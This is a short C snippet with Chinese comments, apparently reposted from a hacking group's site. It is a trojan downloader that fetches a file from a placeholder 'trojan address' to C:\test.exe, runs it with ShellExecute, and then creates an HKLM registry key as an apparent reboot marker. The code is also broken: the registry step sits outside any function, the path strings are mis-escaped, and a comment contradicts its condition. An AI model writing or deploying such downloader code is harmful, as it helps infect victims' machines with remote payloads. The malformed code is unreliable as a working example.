#include<windows.h>
#include<urlmon.h> //這個可以不要
#include<process.h> //這個可以不要
#include<Shellapi.h> //這個是對ShellExecute的定義
#pragma comment (lib,"Urlmon.lib") //這個也可以不要,有DLL可以用
/*
step1. 下載程序
step2. 如果重開機 以上運行
*/
//----------step 1-------------
int main(){
//下載到C:\test.exe
URLDownloadToFile(NULL,"木馬地址","C:\test.exe",0,NULL);
//執行test.exe
ShellExecute(0,"open","c:\test.exe",NULL,NULL,SW_SHOW);
return 0;
}
//----------step 2-------------
HKEY hKey;
DWORD dw;
DWORD dwData = 0;
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\tw67waa",0L,KEY_ALL_ACCESS,&hKey) != ERROR_SUCCESS)
//如果存在 就執行下面代碼
{
//RegCreateKey(HKEY_LOCAL_MACHINE, "SOFTWARE\tttjgf",&hKey);
RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\tw67waa",0L,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&dw);
//RegSetValueEx(hKey, "hello", 0, REG_DWORD, (LPBYTE) &dwData,sizeof(DWORD));
//file();
}
else{
//file();
}
註: 本文轉載自網路 非原創
轉載自 邪惡八進制信息安全團隊